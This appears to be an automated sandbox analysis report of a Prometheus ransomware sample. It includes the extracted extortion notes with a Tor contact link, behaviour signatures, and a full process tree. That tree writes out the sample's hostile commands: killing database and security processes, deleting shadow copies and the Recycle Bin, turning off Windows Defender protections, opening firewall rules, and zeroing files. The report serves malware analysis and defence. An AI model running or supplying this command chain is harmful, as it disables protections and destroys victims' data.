Analysis
-
max time kernel
145s -
max time network
147s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
28-05-2021 06:51
General
-
Target
779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.exe
-
Size
233KB
-
MD5
96c565af56a5ba8339f35121bf9ff196
-
SHA1
2edae92d476225b00b4a7ea1e9d7f7ccfda462cb
-
SHA256
779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc
-
SHA512
6d4a3d91396bccae3dff43f6ee295980c1919a48f7914d9b8b6eca3e603aa97b8e05a0b78af27e7f1c86691fff6fc26fad69ddb774f8ed5d8011aa87b511b6c1
Score
10/10
Malware Config
Extracted
Path
C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt
Family
prometheus
Ransom Note
YOUR COMPANY NETWORK HAS BEEN HACKED
All your important files have been encrypted!
Your files are safe! Only modified.(AES)
No software available on internet can help you.
We are the only ones able to decrypt your files.
--------------------------------------------------------------------------------
We also gathered highly confidential/personal data.
These data are currently stored on a private server.
Files are also encrypted and stored securely.
--------------------------------------------------------------------------------
As a result of working with us, you will receive:
Fully automatic decryptor, all your data will be recovered within a few hours after it's run.
Server with your data will be immediately destroyed after your payment.
Save time and continue working.
You will can send us 2-3 non-important files and we will decrypt it
for free to prove we are able to give your files back.
--------------------------------------------------------------------------------
!!!!!!!!!!!!!!!!!!!!!!!!
If you decide not to work with us:
All data on your computers will remain encrypted forever.
YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!
So you can expect your data to be publicly available in the near future..
The price will increase over time.
!!!!!!!!!!!!!!!!!!!!!!!!!
--------------------------------------------------------------------------------
It doesn't matter to us what you choose pay us or we will sell your data.
We only seek money and our goal is not to damage your reputation or prevent your business from running.
Write to us now and we will provide the best prices.
Instructions for contacting us:
____________________________________________________________________________________
You have way:
1) Using a TOR browser!
a. Download and install TOR browser from this site: https://torproject.org/
b. Open the Tor browser. Copy the link: http://promethw27cbrcot.onion/ticket.php?track=LZG-ZNM-YDNM and paste it in the Tor browser.
c. Start a chat and follow the further instructions.
_____________________________________________________________________________________
Attention!
Any attempt to restore your files with third-party software will corrupt it.
Modify or rename files will result in a loose of data.
If you decide to try anyway, make copies before that
Key Identifier:
xU/GlkGV2gPKE6JR8E3qsD03icvJwnibDhsINA0DAXwDw3jCYwiV7qhW1TczQ77OkDzuIFLseU3UHSVzzx6CMipLDtI2f5YevCfzbHJHMTZuyxCZ04SFkMk6qflu0Vjqg/WOT2ZBvph/xGx+SIhlaV8sNeOqnY0QhoTTqgPhNvHnfPronPYAm0Kqg8PwZpgrLZHBsd7UT6bTcBtJIwhBUSZExgIzXb6UkcHWYh4uj/0pa9FpGVV2ZRXNZbWv0K3jiu+IdrS3bGsyneHF5vej501bUjHxrNKHpukPs618uL2iSURA+35I4BEzJuiFk8gRQEbAAMsgBCAsPJuGyI9wTpr1MBozPCDUSuc7tZK9ZcQ/miPmqOBHHPvl8yc92vXH+NzOgOgkB6IGoHldepTbiJI3jHBKeQr4YIk/anR3v+4IUIyRxx3apcHATTQfggPVM+uB9onKqRBY3xAT89jqu999LwEZx2QorQ25iefPuubPy3ApcL9dSPWWjm6AZglA2fs/cgflMXnx4YbtYO1smdUJ/O+Xpo+TZ1oa6Khsv6i3E6F19lJ14uZ7TlPa0nF6OeBgg5R8aFy+UIfo4jjCwfys502EIQpYUWbzePQ1H5TLBXTlI81p0xwRaCxmnft7RisYkrRJLwf8JAGqwRDpO4LTqHbhsnAzQAzq00PSYP4=
URLs
http://promethw27cbrcot.onion/ticket.php?track=LZG-ZNM-YDNM
Extracted
Path
C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta
Family
prometheus
Ransom Note
YOUR COMPANY NETWORK HAS BEEN HACKED
All your important files have been encrypted!
Your files are safe! Only modified.(AES)
No software available on internet can help you.
We are the only ones able to decrypt your files.
We also gathered highly confidential/personal data.
These data are currently stored on a private server.
Files are also encrypted and stored securely.
As a result of working with us, you will receive:
Fully automatic decryptor, all your data will be recovered within a few hours after it’s installation.
Server with your data will be immediately destroyed after your payment.
Save time and continue working.
You will can send us 2-3 non-important files and we will decrypt it
for free to prove we are able to give your files back.
If you decide not to work with us:
All data on your computers will remain encrypted forever.
YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!
So you can expect your data to be publicly available in the near future..
The price will increase over time.
It doesn't matter to us what you choose pay us or we will sell your data.
We only seek money and our goal is not to damage your reputation or prevent your business from running.
Write to us now and we will provide the best prices.
Instructions for contacting us:
You have way:
1) Using a TOR browser!
a. Download and install TOR browser from this site: https://torproject.org/
b. Open the Tor browser. Copy the link: http://promethw27cbrcot.onion/ticket.php?track=LZG-ZNM-YDNM and paste it in the Tor browser.
c. Start a chat and follow the further instructions.
Attention!
Any attempt to restore your files with third-party software will corrupt it.
Modify or rename files will result in a loose of data.
If you decide to try anyway, make copies before that
Key Identifier: xU/GlkGV2gPKE6JR8E3qsD03icvJwnibDhsINA0DAXwDw3jCYwiV7qhW1TczQ77OkDzuIFLseU3UHSVzzx6CMipLDtI2f5YevCfzbHJHMTZuyxCZ04SFkMk6qflu0Vjqg/WOT2ZBvph/xGx+SIhlaV8sNeOqnY0QhoTTqgPhNvHnfPronPYAm0Kqg8PwZpgrLZHBsd7UT6bTcBtJIwhBUSZExgIzXb6UkcHWYh4uj/0pa9FpGVV2ZRXNZbWv0K3jiu+IdrS3bGsyneHF5vej501bUjHxrNKHpukPs618uL2iSURA+35I4BEzJuiFk8gRQEbAAMsgBCAsPJuGyI9wTpr1MBozPCDUSuc7tZK9ZcQ/miPmqOBHHPvl8yc92vXH+NzOgOgkB6IGoHldepTbiJI3jHBKeQr4YIk/anR3v+4IUIyRxx3apcHATTQfggPVM+uB9onKqRBY3xAT89jqu999LwEZx2QorQ25iefPuubPy3ApcL9dSPWWjm6AZglA2fs/cgflMXnx4YbtYO1smdUJ/O+Xpo+TZ1oa6Khsv6i3E6F19lJ14uZ7TlPa0nF6OeBgg5R8aFy+UIfo4jjCwfys502EIQpYUWbzePQ1H5TLBXTlI81p0xwRaCxmnft7RisYkrRJLwf8JAGqwRDpO4LTqHbhsnAzQAzq00PSYP4=
URLs
http://promethw27cbrcot.onion/ticket.php?track=LZG-ZNM-YDNM
Signatures
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Prometheus Ransomware
Ransomware family mostly targeting manufacturing industry and claims to be affiliated with REvil.
-
Downloads MZ/PE file
-
Downloads PsExec from SysInternals website 1 IoCs
Sysinternals tools like PsExec are often leveraged maliciously by malware families due to being commonly used by testers/administrators.
-
Executes dropped EXE 1 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Modifies extensions of user files 2 IoCs
Ransomware generally changes the extension on encrypted files.
-
Drops startup file 1 IoCs
-
Windows security modification 2 TTPs 1 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Modifies WinLogon 2 TTPs 2 IoCs
-
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Kills process with taskkill 49 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry key 1 TTPs 1 IoCs
-
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 56 IoCs
-
Suspicious use of FindShellTrayWindow 3 IoCs
-
Suspicious use of SendNotifyMessage 3 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
System policy modification 1 TTPs 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.exe"C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.exe"1⤵
- Modifies extensions of user files
- Drops startup file
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill" /F /IM RaccineSettings.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\reg.exe"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F2⤵
-
C:\Windows\SYSTEM32\reg.exe"reg" delete HKCU\Software\Raccine /F2⤵
- Modifies registry key
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /DELETE /TN "Raccine Rules Updater" /F2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config Dnscache start= auto2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config FDResPub start= auto2⤵
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SSDPSRV start= auto2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SstpSvc start= disabled2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config upnphost start= auto2⤵
-
C:\Windows\SYSTEM32\sc.exe"sc.exe" config SQLWriter start= disabled2⤵
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM synctime.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM Ntrtscan.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqbcoreservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM firefoxconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM encsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM isqlplussvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM excel.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM agntsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes2⤵
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM dbeng50.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM onenote.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM CNTAoSMgr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM thebat.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM thebat64.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM PccNTMon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlwriter.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM steam.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocomm.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM msaccess.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\arp.exe"arp" -a2⤵
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM tbirdconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" IM thunderbird.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM dbsnmp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM infopath.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM outlook.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM tmlisten.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM xfssvccon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mbamtray.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM msftesql.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM wordpad.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM zoolz.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld-opt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM powerpnt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocautoupds.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM ocssd.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM visio.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM oracle.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlagent.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM winword.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlbrowser.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM mysqld-nt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\taskkill.exe"taskkill.exe" /IM sqlservr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin2⤵
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes2⤵
-
C:\Windows\SYSTEM32\netsh.exe"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes2⤵
-
C:\Windows\SYSTEM32\arp.exe"arp" -a2⤵
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta2⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵
-
C:\Windows\system32\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
-
C:\Windows\system32\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.exe2⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵
-
C:\Windows\PAExec-5568-RJMQBVDN.exeC:\Windows\PAExec-5568-RJMQBVDN.exe -service1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\1c4b55fefcd78623a6724bb6c7779d0ef02ac20a6069cb9dbd91d753386606bb.bin.exe"C:\Users\Admin\AppData\Local\Temp\1c4b55fefcd78623a6724bb6c7779d0ef02ac20a6069cb9dbd91d753386606bb.bin.exe"2⤵
- Executes dropped EXE
- Windows security modification
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference -verbose3⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 63⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 03⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 63⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 63⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 23⤵
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM RaccineSettings.exe3⤵
- Kills process with taskkill
-
C:\Windows\system32\reg.exe"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\1c4b55fefcd78623a6724bb6c7779d0ef02ac20a6069cb9dbd91d753386606bb.bin.exeFilesize
367KB
MD5b31f6216e6bc5a6291a0b82de0377553
SHA10afdc5359268f7e78a0ca3c3c67752edd304a742
SHA2561c4b55fefcd78623a6724bb6c7779d0ef02ac20a6069cb9dbd91d753386606bb
SHA5127044cae1da196e1997fd21cbac41ff0d8e7dd5da6ebcf14e4ecd26ff53f65936430c009e473c17a2eecabbc5645e2d1fb32c5ef8ab036d045b5941a52e2982f6
-
C:\Users\Admin\AppData\Local\Temp\1c4b55fefcd78623a6724bb6c7779d0ef02ac20a6069cb9dbd91d753386606bb.bin.exeFilesize
367KB
MD5b31f6216e6bc5a6291a0b82de0377553
SHA10afdc5359268f7e78a0ca3c3c67752edd304a742
SHA2561c4b55fefcd78623a6724bb6c7779d0ef02ac20a6069cb9dbd91d753386606bb
SHA5127044cae1da196e1997fd21cbac41ff0d8e7dd5da6ebcf14e4ecd26ff53f65936430c009e473c17a2eecabbc5645e2d1fb32c5ef8ab036d045b5941a52e2982f6
-
C:\Users\Admin\Desktop\RESTORE_FILES_INFO.htaFilesize
22KB
MD581f2e6838b3675761922aa2381151539
SHA162960abd80931dc373a5917051dbea46f8bc687a
SHA256c259fed4c0ad3fedac2fe51bcd019be0ff954e4daf913a278d106c2ade216b6a
SHA51280cdd76e82f9de07ae86c0f18eb655f0d4e43fbcf4cac79fc001a7a83ab9d2442e02be93c1adbf3b647b6e9288473790af3b17ff2cf4636fede9b4b22e108487
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5478f1c1fcff584f4f440469ed71d2d43
SHA10900e9dc39580d527c145715f985a5a86e80b66c
SHA256c918bf6bad93b653f9d05007634b088be7b91ed4350b777905d0520d93d650eb
SHA5124ed62f2add77e0dd8e07e101ee06bdb8a15808b701c7580b09704bd4befdecf7cfe2fa29d6e96f2149a92f4e1b0cae0d9810a5cde3f4940145f8120f7322d1a7
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5f4912cd27f85cc109ddabd6e6c35d0a5
SHA1fd75c0930c4d4b9483ba83b11cae4f4d2d59ea2c
SHA25672255abde6af7af37088f46103add19fa78fd548031e1659029e41b4314652ee
SHA5121c2b32dc0fe135064a9f9be611f1f036dccd3d80bf1ad66f1f69cd371acecd0ddd42f191b2098da9b0f3571a646825fa0a7ceda44a945bfe83ab4e7803fa1b01
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5f4912cd27f85cc109ddabd6e6c35d0a5
SHA1fd75c0930c4d4b9483ba83b11cae4f4d2d59ea2c
SHA25672255abde6af7af37088f46103add19fa78fd548031e1659029e41b4314652ee
SHA5121c2b32dc0fe135064a9f9be611f1f036dccd3d80bf1ad66f1f69cd371acecd0ddd42f191b2098da9b0f3571a646825fa0a7ceda44a945bfe83ab4e7803fa1b01
-
memory/432-144-0x0000000000000000-mapping.dmp
-
memory/596-272-0x000001E8E65D3000-0x000001E8E65D5000-memory.dmpFilesize
8KB
-
memory/596-271-0x000001E8E65D0000-0x000001E8E65D2000-memory.dmpFilesize
8KB
-
memory/600-147-0x0000000000000000-mapping.dmp
-
memory/752-119-0x0000000000000000-mapping.dmp
-
memory/760-132-0x0000000000000000-mapping.dmp
-
memory/788-266-0x0000021962E93000-0x0000021962E95000-memory.dmpFilesize
8KB
-
memory/788-265-0x0000021962E90000-0x0000021962E92000-memory.dmpFilesize
8KB
-
memory/984-286-0x000001DA44E93000-0x000001DA44E95000-memory.dmpFilesize
8KB
-
memory/984-285-0x000001DA44E90000-0x000001DA44E92000-memory.dmpFilesize
8KB
-
memory/1316-146-0x0000000000000000-mapping.dmp
-
memory/1320-143-0x0000000000000000-mapping.dmp
-
memory/1328-145-0x0000000000000000-mapping.dmp
-
memory/1344-129-0x0000000000000000-mapping.dmp
-
memory/1356-122-0x0000000000000000-mapping.dmp
-
memory/1440-281-0x0000022AEC8B0000-0x0000022AEC8B2000-memory.dmpFilesize
8KB
-
memory/1440-282-0x0000022AEC8B3000-0x0000022AEC8B5000-memory.dmpFilesize
8KB
-
memory/1452-123-0x0000000000000000-mapping.dmp
-
memory/1672-169-0x0000000000000000-mapping.dmp
-
memory/2088-168-0x0000000000000000-mapping.dmp
-
memory/2228-130-0x0000000000000000-mapping.dmp
-
memory/2268-275-0x0000018274143000-0x0000018274145000-memory.dmpFilesize
8KB
-
memory/2268-274-0x0000018274140000-0x0000018274142000-memory.dmpFilesize
8KB
-
memory/2464-172-0x0000000000000000-mapping.dmp
-
memory/2704-118-0x0000000000000000-mapping.dmp
-
memory/2820-138-0x0000000000000000-mapping.dmp
-
memory/2836-137-0x0000000000000000-mapping.dmp
-
memory/2868-131-0x0000000000000000-mapping.dmp
-
memory/2996-280-0x0000016075EA3000-0x0000016075EA5000-memory.dmpFilesize
8KB
-
memory/2996-260-0x0000016075EA0000-0x0000016075EA2000-memory.dmpFilesize
8KB
-
memory/3040-133-0x0000000000000000-mapping.dmp
-
memory/3288-127-0x0000000000000000-mapping.dmp
-
memory/3336-136-0x0000000000000000-mapping.dmp
-
memory/3344-142-0x0000000000000000-mapping.dmp
-
memory/3480-139-0x0000000000000000-mapping.dmp
-
memory/3556-128-0x0000000000000000-mapping.dmp
-
memory/3572-135-0x0000000000000000-mapping.dmp
-
memory/3648-134-0x0000000000000000-mapping.dmp
-
memory/3680-121-0x0000000000000000-mapping.dmp
-
memory/3720-126-0x0000000000000000-mapping.dmp
-
memory/3756-170-0x0000000000000000-mapping.dmp
-
memory/3844-124-0x0000000000000000-mapping.dmp
-
memory/3884-125-0x0000000000000000-mapping.dmp
-
memory/3888-140-0x0000000000000000-mapping.dmp
-
memory/3896-171-0x0000000000000000-mapping.dmp
-
memory/3924-116-0x000000001AFE0000-0x000000001AFE2000-memory.dmpFilesize
8KB
-
memory/3924-114-0x00000000003A0000-0x00000000003A1000-memory.dmpFilesize
4KB
-
memory/3940-268-0x0000014A36E30000-0x0000014A36E32000-memory.dmpFilesize
8KB
-
memory/3940-269-0x0000014A36E33000-0x0000014A36E35000-memory.dmpFilesize
8KB
-
memory/3984-117-0x0000000000000000-mapping.dmp
-
memory/4020-270-0x0000020C7AB40000-0x0000020C7AB42000-memory.dmpFilesize
8KB
-
memory/4020-289-0x0000020C7AB45000-0x0000020C7AB46000-memory.dmpFilesize
4KB
-
memory/4020-290-0x0000020C7AB47000-0x0000020C7AB49000-memory.dmpFilesize
8KB
-
memory/4020-273-0x0000020C7AB43000-0x0000020C7AB45000-memory.dmpFilesize
8KB
-
memory/4020-141-0x0000000000000000-mapping.dmp
-
memory/4052-120-0x0000000000000000-mapping.dmp
-
memory/4104-148-0x0000000000000000-mapping.dmp
-
memory/4132-173-0x0000000000000000-mapping.dmp
-
memory/4156-149-0x0000000000000000-mapping.dmp
